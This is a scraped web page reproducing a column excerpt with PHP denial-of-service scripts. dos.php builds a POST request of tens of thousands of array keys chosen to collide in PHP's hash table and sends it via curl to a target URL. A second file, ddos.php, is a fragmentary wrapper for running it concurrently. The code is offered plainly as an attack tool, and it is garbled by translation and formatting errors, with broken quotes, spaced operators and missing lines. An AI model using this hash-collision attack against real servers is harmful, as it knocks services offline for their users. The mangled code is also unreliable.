File dos.php
Destination Address
As long as the target address exists, don't worry about it.
$host = ' http://127.0.0.1/test.php ';
$data = ";
$size = POW (2, 15);
For ($key =0, $max = ($size-1) * $size; $key <= $max; $key + = $size)
{
$data. = ' &array['. $key. ']=0 ';
}
$ret = Curl ($host, LTrim ($data, ' & ');
Var_dump ($ret);
Function Curl ($url, $post, $timeout = 30) {
$ch = Curl_init ();
curl_setopt ($ch, Curlopt_returntransfer, true);
curl_setopt ($ch, Curlopt_timeout, $timeout);
curl_setopt ($ch, Curlopt_connecttimeout, $timeout-5);
curl_setopt ($ch, Curlopt_httpheader, Array (' Expect: '));
curl_setopt ($ch, Curlopt_url, $url);
curl_setopt ($ch, Curlopt_post, true);
curl_setopt ($ch, Curlopt_postfields, $post);
$output = curl_exec ($ch);
if ($output = = = False) return false;
$info = Curl_getinfo ($ch);
$http _code = $info [' Http_code '];
if ($http _code = = 404) return false;
Curl_close ($ch);
return $output;
}
File ddos.php
[PHP]
<title>Ddos</title>
for ($i =0; $i <5; $i + +) {//concurrent number
Echo ';
}
?>
Excerpt from chaojie2009 's column
http://www.bkjia.com/PHPjc/478384.html www.bkjia.com true http://www.bkjia.com/PHPjc/478384.html techarticle file dos.php//Destination address//As long as the destination address exists, do not care what it is $host = http://127.0.0.1/test.php; $data =; $size = POW (2); for ($key = 0, $ max= ($size-1) * $s ...